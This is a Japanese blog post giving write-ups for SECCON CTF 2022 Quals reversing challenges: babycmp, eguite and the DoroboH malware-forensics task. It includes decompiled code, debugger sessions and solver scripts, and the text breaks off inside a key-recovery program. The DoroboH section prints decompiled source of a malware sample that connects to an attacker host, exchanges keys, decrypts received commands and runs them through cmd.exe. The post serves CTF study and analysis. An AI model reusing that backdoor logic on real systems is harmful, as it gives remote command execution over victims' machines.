プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

SECCON CTF 2022 Quals write-up

SECCON CTF 2022 Quals に参加しました。そのwrite-up記事です。

コンテスト概要

2022/11/12(土) 14:00 +09:00 - 2022/11/13(日) 14:00 +09:00 の開催期間でした。他ルールはSECCON CTF 2022 ルールページから引用します:

Game Format
    Jeopardy
(中略)
Language
    English
(中略)
Scoring Rules
    Scores will be aggregated to per teams.
    A score of a challenge are determined dynamically - challenges solved by many teams will have fewer points.
    The Flag format is SECCON{[\x20-\x7e]+}.
    We will let you know in the challenge description if the flag has a different format.

結果

Reversing問題にひたすら取り組んだ結果、全5問中3問解けました。

灰色背景: 解けた問題

環境

WindowsのWSL2(Ubuntu 22.04)を使って取り組みました。

Windows

c:\>ver

Microsoft Windows [Version 10.0.19045.2251]

c:\>wsl -l -v
  NAME                   STATE           VERSION
  Ubuntu                 Running         2
  kali-linux             Running         2
  docker-desktop-data    Running         2
  docker-desktop         Running         2
* Ubuntu-22.04           Running         2

他ソフト

  • IDA Free Version 7.7.220118 Windows x64 (64-bit address size)
  • CFF Explorer VII © 2012 Daniel Pistelli
  • x64dbgx Version Oct 2020, 23:08:03
  • Microsoft Visual Studio Community 2022 (64-bit) - Current Version 17.4.0

WSL2(Ubuntu 22.04)

$ cat /proc/version
Linux version 5.10.102.1-microsoft-standard-WSL2 (oe-user@oe-host) (x86_64-msft-linux-gcc (GCC) 9.3.0, GNU ld (GNU Binutils) 2.34.0.20200220) #1 SMP Wed Mar 2 00:30:59 UTC 2022
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 22.04.1 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.1 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
$ python3 --version
Python 3.10.6
$ python3 -m pip show pip | grep Version
Version: 22.0.2
$ python3 -m pip show pwntools | grep Version
Version: 4.8.0
$ python3 -m pip show z3-solver | grep Version
Version: 4.8.16.0
$ python3 -m pip show tqdm | grep Version
Version: 4.64.0
$ g++ --version | head -2
g++ (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0
Copyright (C) 2021 Free Software Foundation, Inc.
$ gdb --version | head -2
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
$ cat ~/peda/README | grep -e 'Version: ' -e 'Release: '
Version: 1.0
Release: special public release, Black Hat USA 2012
$

解けた問題

[welcome] Welcome (700 solves, 50 points)

Welcome to SECCON CTF!
The flag is on Discord

公式Discordのannouncementチャンネルに以下の書き込みが行われました:

xrekkusu — Today at 1:55 PM
Early gift for you, good luck!
SECCON{JPY's_drop_makes_it_a_good_deal_to_go_to_the_Finals}

そうです、開始5分前での書き込みです。ともかくフラグを入手できました: SECCON{JPY's_drop_makes_it_a_good_deal_to_go_to_the_Finals}

[reversing, warmup] babycmp (176 solves, 79 points)

`baby_mode` = 1 👶

配布ファイルとして、chall.babyがありました:

$ file *
chall.baby: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ded5cc024f968b3087bf5d3df8649d14714e7202, for GNU/Linux 3.2.0, not stripped
$

IDAで処理を見てみると、main関数1つで完結している内容でした(64-bitプログラムの場合はFree版IDAでもクラウドベースの逆コンパイルができます):

int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char *pInput; // r12
  size_t dwInputLength; // rax
  size_t dwInputLength_1; // rdi
  unsigned __int64 dwIndex; // rcx
  const char *pbyteCurrent; // rsi
  __int64 v14; // rax
  unsigned __int64 dwIndex_1; // rdx
  int dwReturnValue; // r12d
  __m128i si128; // [rsp+0h] [rbp-68h]
  char v19[8]; // [rsp+10h] [rbp-58h] BYREF
  unsigned __int8 byteArrayExpectedValue[36]; // [rsp+20h] [rbp-48h]
  unsigned __int64 qwCanary; // [rsp+48h] [rbp-20h]

  qwCanary = __readfsqword(0x28u);
  _RAX = 0LL;
  if ( argc <= 1 )
  {
    dwReturnValue = 1;
    __printf_chk(1LL, "Usage: %s FLAG\n", *argv);
  }
  else
  {
    pInput = argv[1];
    __asm { cpuid }
    *(_DWORD *)&byteArrayExpectedValue[32] = 0x380A41;
    strcpy(v19, "N 2022");
    *(__m128i *)byteArrayExpectedValue = _mm_load_si128((const __m128i *)&xmmword_3140);
    *(__m128i *)&byteArrayExpectedValue[16] = _mm_load_si128((const __m128i *)&xmmword_3150);
    si128 = _mm_load_si128((const __m128i *)"Welcome to SECCO");
    dwInputLength = strlen(pInput);
    dwInputLength_1 = dwInputLength;
    if ( dwInputLength )
    {
      *pInput ^= 0x57u;
      dwIndex = 1LL;
      if ( dwInputLength != 1 )
      {
        do
        {
          pbyteCurrent = &argv[1][dwIndex];
          v14 = dwIndex / 0x16
              + 2
              * (dwIndex / 0x16 + (((0x2E8BA2E8BA2E8BA3LL * (unsigned __int128)dwIndex) >> 64) & 0xFFFFFFFFFFFFFFFCLL));
          dwIndex_1 = dwIndex++;
          *pbyteCurrent ^= si128.m128i_u8[dwIndex_1 - 2 * v14];
        }
        while ( dwInputLength_1 != dwIndex );
      }
      pInput = argv[1];
    }
    if ( *(_OWORD *)byteArrayExpectedValue == *(_OWORD *)pInput
      && *(_OWORD *)&byteArrayExpectedValue[16] == *((_OWORD *)pInput + 1)
      && *((_DWORD *)pInput + 8) == *(_DWORD *)&byteArrayExpectedValue[32] )
    {
      dwReturnValue = 0;
      puts("Correct!");
    }
    else
    {
      dwReturnValue = 0;
      puts("Wrong...");
    }
  }
  if ( qwCanary == __readfsqword(0x28u) )
    return dwReturnValue;
  else
    return _detect_debugger();
}

内容から以下のことがわかります:

  • cpuid命令がものすごく気になりますが、どうやら取得結果を使用していないらしいこと
  • コマンドライン引数から入力を得ること
  • 入力の各文字を、'W'(=0x57)でXORを取り、かつindex依存の何かでもXORを取って変換していること
  • 変換結果を最後に36バイトの固定値と比較していること

デバッガー経由で起動し、変換が終わった後にブレークさせて、変換結果を観察することにしました:

$ gdb -q chall.baby
Reading symbols from chall.baby...
(No debugging symbols found in chall.baby)
gdb-peda$ b *(main+219)
Breakpoint 1 at 0x125b
gdb-peda$ run WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
Starting program: /mnt/d/Documents/work/ctf/SECCON_2022/reversing_babycmp/chall.baby WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

[----------------------------------registers-----------------------------------]
RAX: 0x20 (' ')
RBX: 0x756e6547 ('Genu')
RCX: 0x28 ('(')
RDX: 0x11
RSI: 0x7fffffffe7ec --> 0x743d524553550077 ('w')
RDI: 0x28 ('(')
RBP: 0x7fffffffe558 --> 0x7fffffffe782 ("/mnt/d/Documents/work/ctf/SECCON_2022/reversing_babycmp/chall.baby")
RSP: 0x7fffffffe3e0 ("Welcome to SECCON 2022")
RIP: 0x55555555525b (<main+219>:        mov    rax,QWORD PTR [r12])
R8 : 0x2e8ba2e8ba2e8ba3
R9 : 0x7ffff7fc9040 (<_dl_fini>:        endbr64)
R10: 0x7ffff7fc3908 --> 0xd00120000000e
R11: 0x7ffff7fde680 (<_dl_audit_preinit>:       endbr64)
R12: 0x7fffffffe7c5 --> 0x77323a38343b3200 ('')
R13: 0x555555555180 (<main>:    endbr64)
R14: 0x0
R15: 0x7ffff7ffd040 --> 0x7ffff7ffe2e0 --> 0x555555554000 --> 0x10102464c457f
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555555252 <main+210>:   cmp    rdi,rcx
   0x555555555255 <main+213>:   jne    0x555555555220 <main+160>
   0x555555555257 <main+215>:   mov    r12,QWORD PTR [rbp+0x8]
=> 0x55555555525b <main+219>:   mov    rax,QWORD PTR [r12]
   0x55555555525f <main+223>:   mov    rdx,QWORD PTR [r12+0x8]
   0x555555555264 <main+228>:   xor    rax,QWORD PTR [rsp+0x20]
   0x555555555269 <main+233>:   xor    rdx,QWORD PTR [rsp+0x28]
   0x55555555526e <main+238>:   or     rdx,rax
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe3e0 ("Welcome to SECCON 2022")
0008| 0x7fffffffe3e8 ("to SECCON 2022")
0016| 0x7fffffffe3f0 --> 0x32323032204e ('N 2022')
0024| 0x7fffffffe3f8 --> 0x7fffffffe769 --> 0x63935273552d16ce
0032| 0x7fffffffe400 --> 0x591e2320202f2004
0040| 0x7fffffffe408 --> 0x2b2d3675357f1a44
0048| 0x7fffffffe410 --> 0x736506d035a1711
0056| 0x7fffffffe418 --> 0x362b470401093c15
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x000055555555525b in main ()
gdb-peda$ x/40bx $r12
0x7fffffffe7c5: 0x00    0x32    0x3b    0x34    0x38    0x3a    0x32    0x77
0x7fffffffe7cd: 0x23    0x38    0x77    0x04    0x12    0x14    0x14    0x18
0x7fffffffe7d5: 0x19    0x77    0x65    0x67    0x65    0x65    0x00    0x32
0x7fffffffe7dd: 0x3b    0x34    0x38    0x3a    0x32    0x77    0x23    0x38
0x7fffffffe7e5: 0x77    0x04    0x12    0x14    0x14    0x18    0x19    0x77
gdb-peda$ x/40bx $rsp+0x68-0x48
0x7fffffffe400: 0x04    0x20    0x2f    0x20    0x20    0x23    0x1e    0x59
0x7fffffffe408: 0x44    0x1a    0x7f    0x35    0x75    0x36    0x2d    0x2b
0x7fffffffe410: 0x11    0x17    0x5a    0x03    0x6d    0x50    0x36    0x07
0x7fffffffe418: 0x15    0x3c    0x09    0x01    0x04    0x47    0x2b    0x36
0x7fffffffe420: 0x41    0x0a    0x38    0x00    0xff    0x7f    0x00    0x00
gdb-peda$

観察結果からフラグを変換するソルバーを書きました:

#!/usr/bin/env python3

import pwn

def parse(s):
    return bytes(map(lambda x: int(x, 16), s.split()))

final_value = parse("""
0x00    0x32    0x3b    0x34    0x38    0x3a    0x32    0x77
0x23    0x38    0x77    0x04    0x12    0x14    0x14    0x18
0x19    0x77    0x65    0x67    0x65    0x65    0x00    0x32
0x3b    0x34    0x38    0x3a    0x32    0x77    0x23    0x38
0x77    0x04    0x12    0x14    0x14    0x18    0x19    0x77
0x00    0x48    0x4f    0x53    0x54    0x54    0x59    0x50
""")

expected_value = parse("""
0x04    0x20    0x2f    0x20    0x20    0x23    0x1e    0x59
0x44    0x1a    0x7f    0x35    0x75    0x36    0x2d    0x2b
0x11    0x17    0x5a    0x03    0x6d    0x50    0x36    0x07
0x15    0x3c    0x09    0x01    0x04    0x47    0x2b    0x36
0x41    0x0a    0x38    0x00    0xff    0x7f    0x00    0x00
0x00    0x97    0x41    0xda    0xf3    0x1b    0x9d    0x8c
""")

print(pwn.xor(b"W", pwn.xor(final_value, expected_value)))

実行しました:

$ ./solve.py
b'SECCON{y0u_f0und_7h3_baby_flag_YaY}C\xbc0N W\x88Y\xde\xf0\x18\x93\x8b'
$ ./chall.baby SECCON{y0u_f0und_7h3_baby_flag_YaY}
Correct!
$

フラグを入手できました: SECCON{y0u_f0und_7h3_baby_flag_YaY}

[reversing] eguite (86 solves, 107 points)

Crack me.
The flag string inside "SECCON{...}" is all lowercase.
* "eguite.exe" and "eguite.elf" are the same program. You can analyse whichever you prefer.

配布ファイルとして、eguite.elfeguite.exeがありました:

$ file *
eguite.elf: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=23f794afc7096688d144a90b46a04d93db7ca9ef, for GNU/Linux 3.2.0, not stripped
eguite.exe: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
$

同機能のバイナリが複数環境形式で提供されるのは珍しいと思いながらIDAで見ていると、Rust製のようでした。実行してみると、GUIアプリケーションであり、ライセンスキーを入力してボタンをクリックすると正誤を知らせてくれるらしいものでした。

stringsタブを見ていると、各種Rustソースファイルのフルパスも含まれており、eguiというGUIライブラリを使っているようでした(問題名の一部です、teは何が出典でしょう?)。また、src/main.rs文字列があったので参照場所を調べると、ボタンクリックイベント時のハンドラーらしい箇所が見つかりました:

// eguite.exe .text:000000000040BA10     _ZN6eguite7Crackme7onclick17hb69201652eb2ef3bE
bool __fastcall eguite::Crackme::onclick::hb69201652eb2ef3b(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
  // 変数定義省略
  if ( *(_QWORD *)(a4 + 144) != 43LL )
    return 0;
  pStrInput = *(char **)(a4 + 128);
  if ( *(_DWORD *)pStrInput ^ 'CCES' | *(_DWORD *)(pStrInput + 3) ^ '{NOC' || pStrInput[42] != '}' )
    return 0;
  pStrEnd = pStrInput + 43;
  dwCounter19 = 19LL;
  pStrCurrent = pStrInput;
  do
  {
    // utf-8でのバイト数を調べているような分岐、省略
    --dwCounter19;
  }
  while ( dwCounter19 );
  if ( pStrCurrent == pStrEnd )
    goto labelPanic2;
  pStrAfter19Char = (unsigned __int8)*pStrCurrent;
  // utf-8でのバイト数を調べているような分岐、省略
  if ( pStrAfter19Char != '-' )                 // 20文字目は「-」
    return 0;
  dwCouner26 = 26LL;
  pStrCurrent_1 = pStrInput;
  do
  {
    // utf-8でのバイト数を調べているような分岐、省略
    --dwCouner26;
  }
  while ( dwCouner26 );
  if ( pStrCurrent_1 == pStrEnd )
    goto labelPanic3;
  runeAfter26Chars = (unsigned __int8)*pStrCurrent_1;
  // utf-8でのバイト数を調べているような分岐、省略
  if ( runeAfter26Chars != '-' )
    return 0;
  dwCounter33 = 33LL;
  pstrCurrent = pStrInput;
  do
  {
    // utf-8でのバイト数を調べているような分岐、省略
    --dwCounter33;
  }
  while ( dwCounter33 );
  if ( pstrCurrent == pStrEnd )
    goto labelPanic4;
  runeAfter33Chars = (unsigned __int8)*pstrCurrent;
    // utf-8でのバイト数を調べているような分岐、省略
  if ( runeAfter33Chars != '-' )
    return 0;
  pStrInput_1 = pStrInput;
  pStrEnd_1 = pStrInput + 43;
  // - で区切られた各パートをfrom_str_radixで数値化しているような処理、省略
  result = 0;
  if ( qwBlock2 + qwBlock1 == 0x8B228BF35F6ALL
    && qwBlock3 + qwBlock2 == 0xE78241
    && qwBlock4 + qwBlock3 == 0xFA4C1A9FLL
    && qwBlock4 + qwBlock1 == 0x8B238557F7C8LL )
  {
    return (qwBlock4 ^ qwBlock2 ^ qwBlock3) == 0xF9686F4DLL;
  }
  return result;
}

省略箇所が結構な長さなので読解に時間がかかりましたが、以下の処理を行っているようです:

  • 最初にフラグ文字数と、SECCON{}の位置を検証
  • 途中で3箇所に-文字があることを検証
  • 最後に4箇所の16進数数値を検証

なお、-位置の確認や、最後の16進数の検証箇所で4分割されたどの部分がどの変数に入るかの確認のためにデバッガー実行しようと試みましたが、GUIアプリケーションであるからかWSLでは実行できませんでした:

$ ./eguite.elf
thread 'main' panicked at 'Failed to initialize any backend! Wayland status: XdgRuntimeDirNotSet X11 status: XOpenDisplayFailed', /home/ptr/.cargo/registry/src/github.com-1ecc6299db9ec823/winit-0.27.5/src/platform_impl/linux/mod.rs:719:9
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
Aborted
$

今回せっかくELFだけでなくEXEも提供されているので、EXE側をデバッガー実行することにしました。デバッガー実行時のブレークポイント設定をやりやすくするために、CFFExplorerでEXEを開き、OptionalHeaderのDllCharasteristicsからDLL can moveをOFFにして保存して、それをx64dbgで実行しました。

確認すると、最後の数値検証まで突入できる入力はSECCON{1234567890ab-123456-123456-12345678}形式の文字列と分かり、4箇所のどの部分がどのレジスタに入るかも判明しました。後は最後の数値条件を満たす組み合わせを調べるソルバーを書きました:

#!/usr/bin/env python3

import tqdm

def solve():
    for Block2 in tqdm.trange(0x1000000):
        Block1 = 0x8B228BF35F6A - Block2
        Block3 = 0xE78241 - Block2
        Block4 = 0xFA4C1A9F - Block3
        if not (0 <= Block1 <= 0xFFFFFFFFFFFF): continue
        if not (0 <= Block3 <= 0xFFFFFF): continue
        if not (0 <= Block4 <= 0xFFFFFFFF): continue
        if not (Block4 + Block1 == 0x8B238557F7C8): continue
        if not (Block2 ^ Block3 ^ Block4 == 0xF9686F4D): continue
        print(f"Find! {Block2=}")
        print(f"SECCON{{{Block1:012x}-{Block2:06x}-{Block3:06x}-{Block4:08x}}}")
        return

solve()

実行しました:

$ ./solve.py
 35%|██    | 5827254/16777216 [00:02<00:04, 2618362.53it/s]
Find! Block2=5929746
SECCON{8b228b98e458-5a7b12-8d072f-f9bf1370}
 35%|██    | 5929746/16777216 [00:02<00:04, 2297683.67it/s]
$

フラグを入手できました: SECCON{8b228b98e458-5a7b12-8d072f-f9bf1370}

ところでソルバーを書くとき、せっかくなのでz3-solverを使おうと最初は思っていました。しかし実行が全然終わってくれず、上述のループ全探索に書き直して実行したほうが早かったです。供養として残しておきます:

#!/usr/bin/env python3

# WARNING! THIS SCRIPT WILL SPEND VERY LONG TIME!
import z3

Block1 = z3.Int("Block1")
Block2 = z3.Int("Block2")
Block3 = z3.Int("Block3")
Block4 = z3.Int("Block4")
s = z3.Solver()
s.add(Block1 >= 0)
s.add(Block2 >= 0)
s.add(Block3 >= 0)
s.add(Block4 >= 0)
s.add(Block1 <= 0xFFFFFFFFFFFF)
s.add(Block2 <= 0xFFFFFF)
s.add(Block3 <= 0xFFFFFF)
s.add(Block2 + Block1 == 0x8B228BF35F6A)
s.add(Block3 + Block2 == 0xE78241)
s.add(Block4 + Block3 == 0xFA4C1A9F)
s.add(Block4 + Block1 == 0x8B238557F7C8)
s.add(z3.Int2BV(Block2, 8*8) ^ z3.Int2BV(Block3, 8*8) ^ z3.Int2BV(Block4, 8*8) == 0xF9686F4D)
if s.check() == z3.sat:
    m = s.model()
    print(m)
print(s)

[reversing, forensics] DoroboH (27 solves, 179 points)

I found a suspicious process named "araiguma.exe" running on my computer. Before removing it, I captured my network and dumped the process memory. Could you investigate what the malware is doing?

The program is a malware. Do not run it unless you understand its behavior.

配布ファイルとして、README、EXE、PCAP、DMPがありました。EXEはマルウェアとのことですが二重拡張子なので、誤って実行する可能性を低くしてくださっています:

$ file *
README.txt:       ASCII text
araiguma.DMP:     Mini DuMP crash report, 15 streams, Mon Oct 31 13:53:13 2022, 0x421826 type
araiguma.exe.bin: PE32+ executable (console) x86-64, for MS Windows
network.pcap:     pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)
$ cat README.txt
The following diagram discribes what each file is.
Do not run araiguma.exe unless you fully understand the logic.

+-- Victim Machine --+       +-- Attacker Machine --+
| +--------------+   |       |   +-------------+    |
| | araiguma.exe |<------------->| kitsune.exe |    |
| +--------------+   |   ^   |   +-------------+    |
|        ^           |   |   |                      |
+--------|-----------+   |   +----------------------+
         |               |
  Memory |               | Packet
   Dump  |               | Capture
         |               |
  [ araiguma.DMP ] [ network.pcapng ]
$

まずはEXEをIDAで見ていきました。読み込み時にDwarf情報があると聞いて驚きましたが、mingw製のようです。TLSコールバックもありましたが悪いことはしていなさそうなので、真っ当にmain関数を読解しました:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  DWORD dwBytes; // [rsp+38h] [rbp-48h] BYREF
  MACRO_CALG dwAlgId; // [rsp+3Ch] [rbp-44h] BYREF
  struct sockaddr_in target_sock_addr_in; // [rsp+40h] [rbp-40h] BYREF
  struct WSAData WSAData; // [rsp+50h] [rbp-30h] BYREF
  char buf[4]; // [rsp+1F0h] [rbp+170h] BYREF
  DWORD dwKeyLength; // [rsp+1F4h] [rbp+174h] BYREF
  HCRYPTKEY hCryptoKeyExchanged; // [rsp+1F8h] [rbp+178h] BYREF
  HCRYPTKEY hCryptoKeyToSend; // [rsp+200h] [rbp+180h] BYREF
  HCRYPTPROV hProv; // [rsp+208h] [rbp+188h] BYREF
  CRYPT_INTEGER_BLOB cryptIntegerBlobG; // [rsp+210h] [rbp+190h] BYREF
  CRYPT_INTEGER_BLOB cryptIntegerBlobP; // [rsp+220h] [rbp+1A0h] BYREF
  LPCSTR lpParameters; // [rsp+238h] [rbp+1B8h]
  BYTE *pBytesReceivedKey; // [rsp+240h] [rbp+1C0h]
  SOCKET hSocket; // [rsp+248h] [rbp+1C8h]
  BYTE *pExportedDiffieHelmanKey; // [rsp+250h] [rbp+1D0h]
  HANDLE hHeap; // [rsp+258h] [rbp+1D8h]

  _main();                                      // グローバル変数のコンストラクターの呼び出し等をしていますが登録内容なしです
  cryptIntegerBlobP.cbData = 64;
  cryptIntegerBlobP.pbData = (BYTE *)&g_P;
  cryptIntegerBlobG.cbData = 64;
  cryptIntegerBlobG.pbData = (BYTE *)&g_G;
  hHeap = GetProcessHeap();
  if ( !hHeap )
    return 1;
  if ( !_IAT_start__(                           // 何故か_IAT_startになっていますが、実際はCryptAcquireContextA
          &hProv,
          0i64,
          "Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider",
          PROV_DSS_DH,
          CRYPT_VERIFYCONTEXT) )
    return 1;
  if ( CryptGenKey(hProv, CALG_DH_EPHEM, 0x2000041u, &hCryptoKeyToSend)// "Ephemeral" Diffie-Hellman key.
                                                // dwFlags: (ビット数?) | CRYPT_NO_SALT(0x40) | CRYPT_EXPORTABLE(0x1)
    && CryptSetKeyParam(hCryptoKeyToSend, KP_P, (const BYTE *)&cryptIntegerBlobP, 0)
    && CryptSetKeyParam(hCryptoKeyToSend, KP_G, (const BYTE *)&cryptIntegerBlobG, 0)
    && CryptSetKeyParam(hCryptoKeyToSend, KP_X, 0i64, 0) )// ランダムに生成させている
  {
    if ( CryptExportKey(hCryptoKeyToSend, 0i64, PUBLICKEYBLOB, 0, 0i64, &dwKeyLength) )
    {
      pExportedDiffieHelmanKey = (BYTE *)HeapAlloc(hHeap, 0, dwKeyLength);
      if ( pExportedDiffieHelmanKey )
      {
        if ( CryptExportKey(hCryptoKeyToSend, 0i64, PUBLICKEYBLOB, 0, pExportedDiffieHelmanKey, &dwKeyLength) )// PublicKey:=G^X%P
        {
          WSAStartup(2u, &WSAData);
          hSocket = socket(2, 1, 0);
          target_sock_addr_in.sin_family = AF_INET;
          target_sock_addr_in.sin_port = htons(8080u);
          inet_pton(AF_INET, "192.168.3.6", &target_sock_addr_in.sin_addr);
          if ( !connect(hSocket, (const struct sockaddr *)&target_sock_addr_in, 16) )
          {
            send(hSocket, (const char *)&dwKeyLength, 4, 0);// 送信データ: DWORD length; BYTE key[length];
            send(hSocket, (const char *)pExportedDiffieHelmanKey, dwKeyLength, 0);
            recv(hSocket, buf, 4, 0);           // 受信データ: DWORD length; BYTE key[length];
            pBytesReceivedKey = (BYTE *)HeapAlloc(hHeap, 0, *(unsigned int *)buf);
            if ( pBytesReceivedKey )
            {
              recv(hSocket, (char *)pBytesReceivedKey, *(int *)buf, 0);
              if ( CryptImportKey(hProv, pBytesReceivedKey, *(DWORD *)buf, hCryptoKeyToSend, 0, &hCryptoKeyExchanged) )
              {
                dwAlgId = CALG_RC4;
                if ( CryptSetKeyParam(hCryptoKeyExchanged, KP_ALGID, (const BYTE *)&dwAlgId, 0) )
                {
                  memset(pBytesReceivedKey, 0, *(unsigned int *)buf);
                  while ( recv(hSocket, (char *)&dwBytes, 4, 0) == 4 )
                  {
                    lpParameters = (LPCSTR)HeapAlloc(hHeap, 0, dwBytes);
                    if ( !lpParameters )
                      break;
                    recv(hSocket, (char *)lpParameters, dwBytes, 0);
                    if ( !CryptDecrypt(hCryptoKeyExchanged, 0i64, 1, 0, (BYTE *)lpParameters, &dwBytes) )
                    {
                      HeapFree(hHeap, 0, (LPVOID)lpParameters);
                      break;
                    }
                    ShellExecuteA(0i64, "open", "cmd.exe", lpParameters, 0i64, 0);
                    memset((void *)lpParameters, 0, dwBytes);
                    HeapFree(hHeap, 0, (LPVOID)lpParameters);
                  }
                }
              }
              HeapFree(hHeap, 0, pBytesReceivedKey);
            }
            closesocket(hSocket);
          }
          WSACleanup();
        }
        HeapFree(hHeap, 0, pExportedDiffieHelmanKey);
      }
    }
    CryptDestroyKey(hCryptoKeyToSend);
  }
  CryptReleaseContext(hProv, 0);
  return 0;
}

以下の処理を行っています:

  • 192.168.3.6:8080へ接続します。
  • P, Gには固定値を、Xにはシステムにランダムに生成させた値を使用して、Diffie-Hellman鍵交換を行います。鍵交換の手順は Diffie-Hellman Keys - Win32 apps | Microsoft Learn に従っているようです。
  • 交換した鍵でRC4ストリームを初期化します。
  • 以降、受信したバイト列をRC4で復号し、cmd.exe経由で実行します。(実行結果の送信はありません)

送受信内容はPCAPに含まれているので入手できますが、送受信ともにG^X%Pであるため、RC4を復号するためには何とかしてXを探し出す必要があります。

手元で同様のプログラムを作成して実行し、メモリダンプを作成して様子を確認しました。P, Gは近くに存在しましたが、Xは遠く離れた1箇所にのみ存在するようで、DUMPファイルからピンポイントでXを探すことは難しそうに思いました。しばらく悩んでググったり試行錯誤したりしていました。(WinCryptoのMicrosoftドキュメントは非常に貧弱です。CryptExportKeyでの出力結果BLOBのデータ構造は、RSAの場合は Base Provider Key BLOBs - Win32 apps | Microsoft Learn に記述されていましたが、今回のDiffi-Hellmanの場合は見つけられませんでした。)

しばらく悩んでいると「DUMPファイルからXを全探索」という天啓が降りてきました。Diffie-Hellmanの計算そのものは単純ですが、変なところでハマるのも嫌なのでWinCryptoに全力で頼る方向にしました。また、とりあえず実装して実行すると探索完了まで24時間かかりそうだったので、探索範囲を分けて複数プロセスで並列探索する方針にしました:

// Compiles with /std:c++latest
#include <iostream>
#include <fstream>
#include <string>
#include <string_view>
#include <vector>
#include <algorithm>
#include <ranges>
#include <span>
#include <cstdlib>

#include <Windows.h>
#include <wincrypt.h>
#pragma comment(lib, "Advapi32.lib")

using namespace std::string_view_literals;

constexpr BYTE sended_key[] = { 0x06, 0x02, 0x00, 0x00, 0x02, 0xaa, 0x00, 0x00, 0x00, 0x44, 0x48, 0x31, 0x00, 0x02, 0x00, 0x00, 0x46, 0xa7, 0x17, 0xb1, 0xd5, 0x45, 0x37, 0xe8, 0x62, 0xf6, 0xba, 0x6f, 0x80, 0x9a, 0xed, 0x00, 0x21, 0xaf, 0xc4, 0x4b, 0x8c, 0x95, 0xc9, 0xbe, 0xc8, 0x09, 0x51, 0x8f, 0x10, 0x00, 0x1c, 0xc9, 0x64, 0x89, 0xad, 0x89, 0x14, 0xe1, 0xd4, 0xe0, 0x08, 0xaa, 0x60, 0xbe, 0x8f, 0xe3, 0x6f, 0x9b, 0x15, 0x6e, 0x35, 0x89, 0x40, 0xbb, 0xc1, 0xaa, 0x70, 0x90, 0x98, 0xd9, 0x39, 0x57, 0xe6, 0x37 };

constexpr BYTE recieved_key[] = { 0x06, 0x02, 0x00, 0x00, 0x02, 0xaa, 0x00, 0x00, 0x00, 0x44, 0x48, 0x31, 0x00, 0x02, 0x00, 0x00, 0x28, 0x8f, 0x76, 0x74, 0x9e, 0xc2, 0x0b, 0x9a, 0xb1, 0x8c, 0x61, 0x84, 0x18, 0xae, 0x9a, 0x70, 0x72, 0x26, 0x18, 0xdc, 0x68, 0x5e, 0x66, 0x7f, 0xc0, 0xc1, 0x9b, 0x90, 0x6a, 0x6a, 0xa3, 0xa5, 0x71, 0xf4, 0x73, 0xea, 0x0e, 0xaa, 0xda, 0x26, 0x9f, 0x29, 0x86, 0x0d, 0x55, 0xdd, 0xcb, 0xa0, 0x36, 0x7e, 0xe6, 0xf7, 0xa1, 0xfa, 0xc8, 0x3d, 0x2d, 0x73, 0x95, 0x48, 0x29, 0x30, 0xb3, 0xb8 };

constexpr BYTE received_command1[] = { 0x8c, 0x28, 0xc2, 0x0d, 0x02, 0x7a, 0xa8, 0xbc, 0x9a, 0x71, 0xb1, 0x07, 0x02, 0x24, 0x21, 0xe9, 0x07, 0x34, 0x0d, 0xe0, 0xf9, 0xa4, 0xc5, 0x40, 0x61, 0x1f, 0x2d, 0x95, 0xb5, 0x60, 0xf8, 0x43, 0x5f, 0xdb, 0x44, 0xec, 0xb3, 0x88, 0x76, 0xdd, 0xab, 0x1f, 0xe3, 0xff, 0xca, 0xf2, 0x6a, 0xeb, 0x65, 0xb7, 0xf7, 0xf4, 0xd1, 0xd0, 0xbc, 0x6c, 0xee, 0xc5, 0x21, 0xc7, 0x7c, 0x27, 0xcd, 0x0f, 0xfb, 0xa4, 0xa9, 0xd0, 0x07, 0x22, 0x8c, 0x47, 0x82, 0x88, 0xb9, 0x06, 0xb6, 0x4d, 0x83, 0x2b, 0xe9, 0x82, 0x2e, 0x12, 0x3e, 0xc4, 0xa5, 0xab, 0xbc, 0x15, 0x5a, 0x24, 0xb6, 0x3a, 0x8c, 0x65, 0x7c, 0x05, 0xff, 0x61, 0x48, 0x12, 0x4f };
